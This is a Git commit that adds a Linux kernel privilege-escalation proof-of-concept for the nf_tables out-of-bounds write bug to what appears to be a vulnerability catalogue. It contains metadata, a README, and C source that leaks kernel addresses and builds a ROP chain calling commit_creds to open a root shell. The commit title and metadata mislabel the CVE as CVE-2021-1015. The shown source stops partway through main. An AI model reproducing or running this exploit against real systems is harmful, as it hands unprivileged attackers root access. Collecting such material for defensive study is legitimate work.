add kernal cve CVE-2021-1015

Signed-off-by: shawnlin529 <linqx529@buaa.edu.cn>
This commit is contained in:
shawnlin529 2023-03-08 13:33:43 +00:00 committed by Gitee
parent 51837d57ab
commit 36a7d98af3
No known key found for this signature in database
GPG Key ID: 173E9B9CA92EEF8F
7 changed files with 1173 additions and 0 deletions

View File

@ -0,0 +1,31 @@
Id: CVE-2021-1015
Belong: kernel
Poc-hazard-level: low
Source: https://github.com/pqlx/CVE-2022-1015
SiteInfo:
Name: Linux kernel 安全漏洞
Severity: medium
Description:
Linux 内核存在安全漏洞该漏洞源于在netfilter子系统的linux/net/netfilter/nf_tables_api.c中存在Linux内核的一个缺陷。 此漏洞允许本地用户导致越界写入问题。 攻击者可以通过nft_expr_payload触发 Linux 内核的内存损坏,从而触发拒绝服务,并可能运行代码。
Scope-of-influence:
v5.12~v5.17
References:
- http://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/
- http://packetstormsecurity.com/files/169951/Kernel-Live-Patch-Security-Notice-LSN-0090-1.html
- http://www.openwall.com/lists/oss-security/2022/08/25/2
- http://www.openwall.com/lists/oss-security/2023/01/13/2
- http://www.openwall.com/lists/oss-security/2023/02/23/1
- https://bugzilla.redhat.com/show_bug.cgi?id=2065323
- https://seclists.org/oss-sec/2022/q1/205
SiteClassification:
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CvssScore: 6.6
CveId: CVE-2021-1015
CweId: CWE-787
CnvdId: None
KveId: None
Tags:
- 越界
SiteRequests:
Implement:

View File

@ -0,0 +1,12 @@
objects = ./pwn.o ./helpers.o
.PHONY: clean pwn
pwn: $(objects)
$(CC) $(objects) -lmnl -lnftnl -o pwn
./%.o: %.c
$(CC) -c $(CFLAGS) -o "$@" "$<"
clean:
rm -rf ./pwn.o ./helpers.o

View File

@ -0,0 +1,29 @@
# CVE-2022-1015
This repository contains a PoC for local privilege escalation of CVE-2022-1015, a bug in the `nf_tables` component of the linux kernel that I found. You can read a detailed analysis of this vulnerability and the exploitation strategy over at my [blog](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/).
Right now, the exploit is a bit messy. Sorry!
## Affected versions
Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable.
## Caveats
This exploit is extremely unlikely to pop a root shell for a given vulnerable kernel. You will have to experiment with chain hook locations (input vs output etc.), `nft_bitwise` address leak offsets, and ROP gadget and symbol offsets. I tested on 5.16-rc3+ and had to seriously change my exploit for a kernel build compiled with a different gcc version.
That said, with all the information given in my blog post I think altering the exploit for a given vulnerable kernel should be doable.
## Building instructions
Simply run `make`, and a `pwn` executable should pop up in the source dir. You will need `libmnl` and `libnftnl` developer packages, as well as linux headers of the target.
You can explicitly specify kernel headers to use with e.g. `make CFLAGS="-I/path/to/linux-tree/usr/include"`.
## Demo
[![](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H.svg)](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H)
## Licensing
This code is distributed under the Beerware license. I am not legally responsible for anything you do with it.

View File

@ -0,0 +1,425 @@
/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* David Bouman (pql) wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Signed, David.
* ----------------------------------------------------------------------------
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include "helpers.h"
static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq)
{
char buf[MNL_SOCKET_BUFFER_SIZE];
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
if (ret <= 0) break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
return ret;
}
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
{
char buf[MNL_SOCKET_BUFFER_SIZE];
struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf);
uint8_t msg_type = msg & 0xff;
uint8_t nft_type = (msg >> 8) & 0xff;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++);
mnl_nlmsg_batch_next(batch);
int table_seq = *seq;
struct nlmsghdr* nlh;
if (result_handler == NULL) {
result_handler = default_batch_req_handler;
}
nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
msg_type, family,
msg_flags | NLM_F_ACK, (*seq)++
);
switch(nft_type) {
case NFT_TYPE_TABLE:
nftnl_table_nlmsg_build_payload(nlh, *object);
nftnl_table_free(*object);
break;
case NFT_TYPE_CHAIN:
nftnl_chain_nlmsg_build_payload(nlh, *object);
nftnl_chain_free(*object);
break;
case NFT_TYPE_RULE:
nftnl_rule_nlmsg_build_payload(nlh, *object);
nftnl_rule_free(*object);
break;
default:
return -1; // will increment seq wrongly... no prob i guess
}
*object = NULL;
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++);
mnl_nlmsg_batch_next(batch);
int ret = mnl_socket_sendto(
nl,
mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)
);
if (ret < 0) {
perror("mnl_socket_send");
return -1;
}
int portid = mnl_socket_get_portid(nl);
mnl_nlmsg_batch_stop(batch);
result_handler(nl, portid, table_seq);
}
struct nftnl_table* build_table(char* name, uint16_t family)
{
struct nftnl_table* t = nftnl_table_alloc();
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
return t;
}
struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param)
{
struct nftnl_chain* c;
c = nftnl_chain_alloc();
nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
if (base_param) {
nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
}
return c;
}
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle)
{
struct nftnl_rule* r = NULL;
uint8_t proto;
r = nftnl_rule_alloc();
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
if (handle) {
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle);
}
return r;
}
// for some reason my editor does not recognize these
#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1
#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1
void rule_add_bit_shift(
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len)
{
if(bitwise_len > 0xff) {
puts("bitwise_len > 0xff");
exit(EXIT_FAILURE);
}
struct nftnl_expr* e;
e = nftnl_expr_alloc("bitwise");
nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg);
nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg);
nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type);
nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len);
nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg)
{
uint32_t data = 0;
rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data));
}
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg)
{
struct nftnl_expr* e;
e = nftnl_expr_alloc("payload");
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_rule_add_expr(r, e);
}
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len)
{
struct nftnl_expr* e;
e = nftnl_expr_alloc("cmp");
nftnl_expr_set_u32(e, NFTA_CMP_OP, op);
nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg);
nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len)
{
struct nftnl_expr* e;
e = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg);
nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name)
{
struct nftnl_expr* e;
e = nftnl_expr_alloc("immediate");
// dreg = 0 -> verdict
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
if (verdict == NFT_GOTO || verdict == NFT_JUMP) {
nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name);
}
nftnl_rule_add_expr(r, e);
}
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
{
struct nftnl_table* t = build_table(name, family);
return send_batch_request(
nl,
NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8),
NLM_F_CREATE, family, (void**)&t, seq,
result_handler
);
}
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
{
struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
return send_batch_request(
nl,
NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
NLM_F_CREATE, family, (void**)&c, seq,
result_handler
);
}
/*
int update_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
{
struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
return send_batch_request(
nl,
NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
NLM_F_CREATE | NLM_F_REPLACE, family, (void**)&c, seq,
result_handler
;)
}
*/
struct child_proc {
struct child_proc* next;
pid_t pid;
};
static struct child_proc *children;
static void add_child(pid_t pid)
{
struct child_proc* child = malloc(sizeof *child);
child->pid = pid;
child->next = children;
children = child;
}
static void kill_children(int sig)
{
//printf("[pid=%d] killing children!\n", getpid());
struct child_proc* current_child = children;
while (current_child) {
kill(current_child->pid, SIGTERM);
current_child = current_child->next;
}
exit(EXIT_SUCCESS);
}
pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int))
{
int err;
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0) {
perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
exit(EXIT_FAILURE);
}
int reuse_addr = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr);
struct sockaddr_in addr;
inet_aton(ip_string, &addr.sin_addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
err = bind(s, (struct sockaddr*)&addr, sizeof(addr));
if (err < 0) {
perror("bind");
exit(EXIT_FAILURE);
}
printf("Started listener on [%s:%d] (udp)\n", ip_string, port);
pid_t pid = fork();
if (pid) {
// parent process
add_child(pid);
return pid;
}
handler(s);
exit(EXIT_SUCCESS);
}
int stop_listener(pid_t pid)
{
if (kill(pid, SIGTERM)) {
perror("kill");
return -1;
};
struct child_proc* next_child = children;
struct child_proc* current_child = NULL;
while (next_child) {
if (next_child->pid == pid) {
struct child_proc** prev = current_child == NULL ? &children : &current_child;
if (current_child == NULL) {
prev = &children;
} else {
prev = &current_child;
}
(*prev)->next = next_child->next;
break;
}
current_child = next_child;
next_child = next_child->next;
}
return 0;
}
int connect_to(char* ip_string, uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0) {
perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
return -1;
}
struct sockaddr_in conn_addr;
conn_addr.sin_port = htons(port);
inet_aton(ip_string, &conn_addr.sin_addr);
conn_addr.sin_family = AF_INET;
int err = connect(s, (struct sockaddr*)&conn_addr, sizeof conn_addr);
if (err < 0) {
perror("connect");
return -1;
}
printf("Successfully connected to [%s:%hd] (udp)\n", ip_string, port);
return s;
}
void hexdump(void* data, size_t len, unsigned int n_columns)
{
uint8_t* bdata = data;
for (int i = 0; i < len; ++i) {
printf("%.2hhx ", bdata[i]);
if ( (i+1) % n_columns == 0) {
putchar('\n');
}
}
}

View File

@ -0,0 +1,60 @@
/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* David Bouman (pql) wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Signed, David.
* ----------------------------------------------------------------------------
*/
#pragma once
#include <stdint.h>
#define CLR_RED "\e[0;31m"
#define CLR_GRN "\e[0;32m"
#define CLR_RESET "\e[0m"
enum nft_types {
NFT_TYPE_TABLE = 0,
NFT_TYPE_CHAIN,
NFT_TYPE_RULE
};
struct unft_base_chain_param {
uint32_t hook_num;
uint32_t prio;
};
// build helpers
struct nftnl_table* build_table(char* name, uint16_t family);
struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param);
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle);
// create helpers (actually commits to the kernel)
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int));
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
// expression helpers
void rule_add_bit_shift(
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len);
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg);
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len);
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name);
// add immediate of arbitrary length
void rule_add_immediate_data_arblen(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
// misc. helpers
pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int));
int stop_listener(pid_t pid);
int connect_to(char* ip_string, uint16_t port);
void hexdump(void* data, size_t len, unsigned int n_columns);
void drop_to_networkns();

View File

@ -0,0 +1,615 @@
/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* David Bouman (pql) wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Signed, David.
* ----------------------------------------------------------------------------
*/
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stddef.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include "helpers.h"
struct vuln_expr_params {
uint32_t min_len;
uint32_t max_len;
uint32_t value;
};
void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq)
{
if (create_table(nl, table_name, AF_INET, seq, NULL) == -1) {
perror("Failed creating table");
exit(EXIT_FAILURE);
}
printf("[+] Created nft %s\n", table_name);
struct unft_base_chain_param bp;
bp.hook_num = NF_INET_LOCAL_OUT;
bp.prio = 10;
if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL)) {
perror("Failed creating base chain");
exit(EXIT_FAILURE);
}
printf("[+] Created base ipv4 chain %s\n", base_chain_name);
}
static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift)
{
uint64_t base_ = (uint64_t)(1) << (32 - shift);
uint32_t base = (uint32_t)(base_ - 1);
if (base == 0xffffffff) {
base = 0xfffffffb; // max actual value
}
for (;;) {
uint64_t computed = (base * 4) & 0xffffffff;
uint64_t max_value = computed + (uint64_t)(max_len);
if (max_value < ((uint64_t)(1) << 32)) {
break;
}
if ( (base & 0xff) != desired) {
base--;
continue;
}
uint32_t len_at_least = ((uint64_t)1 << 32) - computed;
uint32_t len_at_most = len_at_least + 0x50;
if (min_len > len_at_least) {
len_at_least = min_len;
}
if (max_len < len_at_most) {
len_at_most = max_len;
}
result->max_len = len_at_most;
result->min_len = len_at_least;
result->value = base + 4;
return 0;
}
return -1;
}
static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len)
{
for (int i = 0; i < 3; ++i) {
int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i);
if (!res) {
return 0;
}
}
return -1;
}
#define MAGIC 0xdeadbeef0badc0de
int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
// we start by adding a rule to fetch the destination port
// UDP header destination port starts at offset +2 and is 2 bytes long
// we store the result in register 8
rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8);
// if the destination port does not match, the rule will accept the packet. This will save us a lot of noise,
// including noise generated by packets sent by our server socket.
// the server sockets actually have a different stack layout than the client sockets in do_chain, so this is essential.
uint16_t dest_port = htons(9999);
rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port);
// then, we fetch the first 8 bytes of the the inner header.
// these need to match our magic value, or else the rule will accept the packet.
// we do this as a failsafe that guarantees we only process packets we
// actually want to process.
rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 8);
uint64_t magic = MAGIC;
rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic);
// If the packet passed these checks, we jump to the auxiliary chain
rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain");
// Commit rule to the kernel
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int create_infoleak_rule(
struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags)
{
struct vuln_expr_params vuln_params;
// index 0xff translates to +0x3fc, and there's a kernel address that we can grab.
if (calc_vuln_expr_params(&vuln_params, 0xff, 0x40, 0x40)) {
puts("Could not find correct params to trigger OOB read.");
return -1;
}
// we shift by pos*8 so that the first byte of the register will be the one at pos `pos`.
uint32_t shift_amt = (pos * 8);
rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);
// we compare it to the constant - we can binary search
// if the compared value is greater than our supplied value,
// we accept the packet. Else, we drop it.
rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1);
rule_add_immediate_verdict(r, NF_DROP, NULL);
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE | extraflags, family, (void**)&r, seq,
NULL
);
}
#define INFOLEAK_RULE_HANDLE 4
uint8_t do_leak_byte(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint8_t pos, int* seq)
{
uint8_t low = 0;
uint8_t high = 255;
uint8_t mid;
char msg[16] = {};
char result[16] = {};
*(uint64_t*)msg = MAGIC;
for(;;) {
mid = (high + low) / 2;
printf("bounds (inclusive): [0x%.2hhx, 0x%.2hhx]\n", low, high);
if (low == high) {
return mid;
}
// Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE
struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
// The rule is going to compare
if (create_infoleak_rule(nl, r, mid, pos, NFPROTO_IPV4, seq, NLM_F_REPLACE)) {
perror("Could not replace infoleak rule");
exit(EXIT_FAILURE);
}
sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr);
struct sockaddr_in presumed_server_addr;
socklen_t presumed_server_addr_len = sizeof presumed_server_addr;
int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len);
if (!nrecv) {
puts("[-] Remote socket closed...");
exit(EXIT_FAILURE);
} else if (nrecv < 0) {
// In case of timeout, value is greater than `mid`
low = mid + 1;
} else {
if (strcmp(result, "MSG_OK")) {
puts("[-] Something went wrong...");
exit(EXIT_FAILURE);
}
memset(result, 0, sizeof result);
// But if we get a response, the packet arrived at the server and therefore the value is lower than or equal to mid
high = mid;
}
}
}
uint32_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq)
{
#define CLIENT_HOST "127.0.0.1"
#define CLIENT_PORT 8888
int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in client_addr;
inet_aton(CLIENT_HOST, &client_addr.sin_addr);
client_addr.sin_port = htons(CLIENT_PORT);
client_addr.sin_family = AF_INET;
if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0) {
perror("client bind");
return -1;
}
// 100ms receive timeout
// can probably be lower
struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200};
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t);
uint8_t results[4] = {};
for(int i = 1; i < 4; ++i) {
results[i] = do_leak_byte(nl, client_sock, addr, table_name, aux_chain_name, i, seq);
printf("[+] Leaked byte %i: %.2hhx\n", i, results[i]);
}
close(client_sock);
return *(uint32_t*)results;
}
int simple_handler(int fd)
{
char buf[4096] = {};
struct sockaddr_in client_addr = {};
socklen_t client_addr_size = sizeof client_addr;
size_t conn_id = 0;
for (;;) {
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
if (len <= 0) {
printf("listener receive failed..\n");
perror("");
return -1;
}
printf("Received message from [%s:%d] (udp) (0x%x bytes):\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port), len);
hexdump(buf, len, 8);
}
close(fd);
return 0;
}
int leak_handler(int fd)
{
char buf[4096] = {};
char send_back[] = "MSG_OK";
struct sockaddr_in client_addr = {};
socklen_t client_addr_size = sizeof client_addr;
size_t conn_id = 0;
for (;;) {
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
if (len <= 0) {
printf("listener receive failed..\n");
perror("");
return -1;
}
sendto(fd, send_back, sizeof(send_back), 0, (struct sockaddr*)&client_addr, client_addr_size);
}
close(fd);
return 0;
}
void* new_stack;
/* This is where we return after our rop chain */
extern void _after_rop();
void after_rop()
{
system("id");
system("sh");
}
static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq)
{
// return address is at regs.data[0xca]
struct vuln_expr_params v;
if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) {
puts("[-] Cannot find suitable parameters for planting ROP chain.");
return -1;
}
struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL);
//nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);
int err = send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, NFPROTO_IPV4, (void**)&r, seq,
NULL
);
if (err) {
perror("send_batch_request");
return err;
}
return v.max_len;
}
void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length)
{
// Structures in .data
#define INIT_NSPROXY_OFF 0x1867360
#define INIT_PID_NS_OFF 0x1866fe0
#define INIT_CRED_OFF 0x18675a0
// Routines in .text
#define SWITCH_TASK_NAMESPACES_OFF 0xd1040
#define COMMIT_CREDS_OFF 0xd2430
#define FIND_TASK_BY_VPID_OFF 0x0c8c80
#define BPF_GET_CURRENT_TASK_OFF 0x1ebde0
#define __DO_SOFTIRQ_OFF 0x1000000
// Gadgets
#define MOV_RDI_RAX_OFF 0xc032fb // constraint: rcx==0
#define POP_RDI_OFF 0x92610
#define POP_RSI_OFF 0x676d2
#define POP_RCX_OFF 0x139a3
#define POP_RBP_OFF 0x6ffa8d
#define XOR_ECX_ECX_OFF 0x7110bf
#define MOV_R13_RCX_POP_RBP_OFF 0xaf089b
#define POP_R11_R12_RBP_OFF 0x054645
#define CLI_OFF 0x4df88b
#define STI_OFF 0xc061c0
#define MOV_RCX_RAX_OFF 0x2faad4
#define SWAPGS_SYSRETQ_OFF 0xe000fb
// Misc.
#define OLD_TASK_FLAGS_OFF 0x1a554a // 0x40010000
uint64_t *packet = calloc(1, rop_length + 8);
packet[0] = 0;
uint64_t* rop = &packet[1];
// 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret
int i = 0;
#define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0)
// clear interrupts
_rop(kernel_base + CLI_OFF);
// make rbp-0x58 point to 0x40010000
_rop(kernel_base + POP_RBP_OFF);
_rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58);
/* Cleanly exit softirq and return to syscall context */
_rop(kernel_base + __DO_SOFTIRQ_OFF + 418);
// stack frame was 0x60 bytes
for(int j = 0; j < 12; ++j) _rop(0);
/* We're already on 128 bytes here */
// switch_task_namespaces(current, &init_nsproxy)
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
_rop(kernel_base + MOV_RDI_RAX_OFF); // rcx happens to aleady be 0
_rop(kernel_base + POP_RSI_OFF);
_rop(kernel_base + INIT_NSPROXY_OFF);
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);
// commit_cred(&init_cred)
_rop(kernel_base + POP_RDI_OFF);
_rop(kernel_base + INIT_CRED_OFF);
_rop(kernel_base + COMMIT_CREDS_OFF);
// pass control to system call stack
// this is offset +0xc0 from our rop chain
// target is at +0x168
_rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
puts("Triggering payload..");
sendto(s, packet, rop_length + 8, 0, (struct sockaddr*)magic_addr, sizeof *magic_addr);
}
int main(int argc, char** argv, char** envp)
{
if (argc < 2) {
puts("[+] Dropping into network namespace");
// We're too lazy to perform uid mapping and such.
char* new_argv[] = {
"/usr/bin/unshare",
"-Urn",
argv[0],
"EXPLOIT",
NULL
};
execve(new_argv[0], new_argv, envp);
puts("Couldn't start unshare wrapper..");
puts("Recompile the exploit with an appropriate unshare path.");
exit(EXIT_FAILURE);
}
if (strcmp("EXPLOIT", argv[1])) {
puts("[-] Something went wrong...");
exit(EXIT_FAILURE);
}
// I'm too lazy to talk to NETLINK_ROUTE..
// Deal with it!
system("ip link set dev lo up");
struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("[-] mnl_socket_bind");
puts("[-] Are you sure you have CAP_NET_ADMIN?..");
exit(EXIT_FAILURE);
}
int seq = time(NULL);
int err;
char *table_name = "exploit_table",
*base_chain_name = "base_chain",
*aux_chain_name = "aux_chain";
setup_nftables(nl, table_name, base_chain_name, &seq);
if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) {
perror("Failed creating auxiliary chain");
exit(EXIT_FAILURE);
}
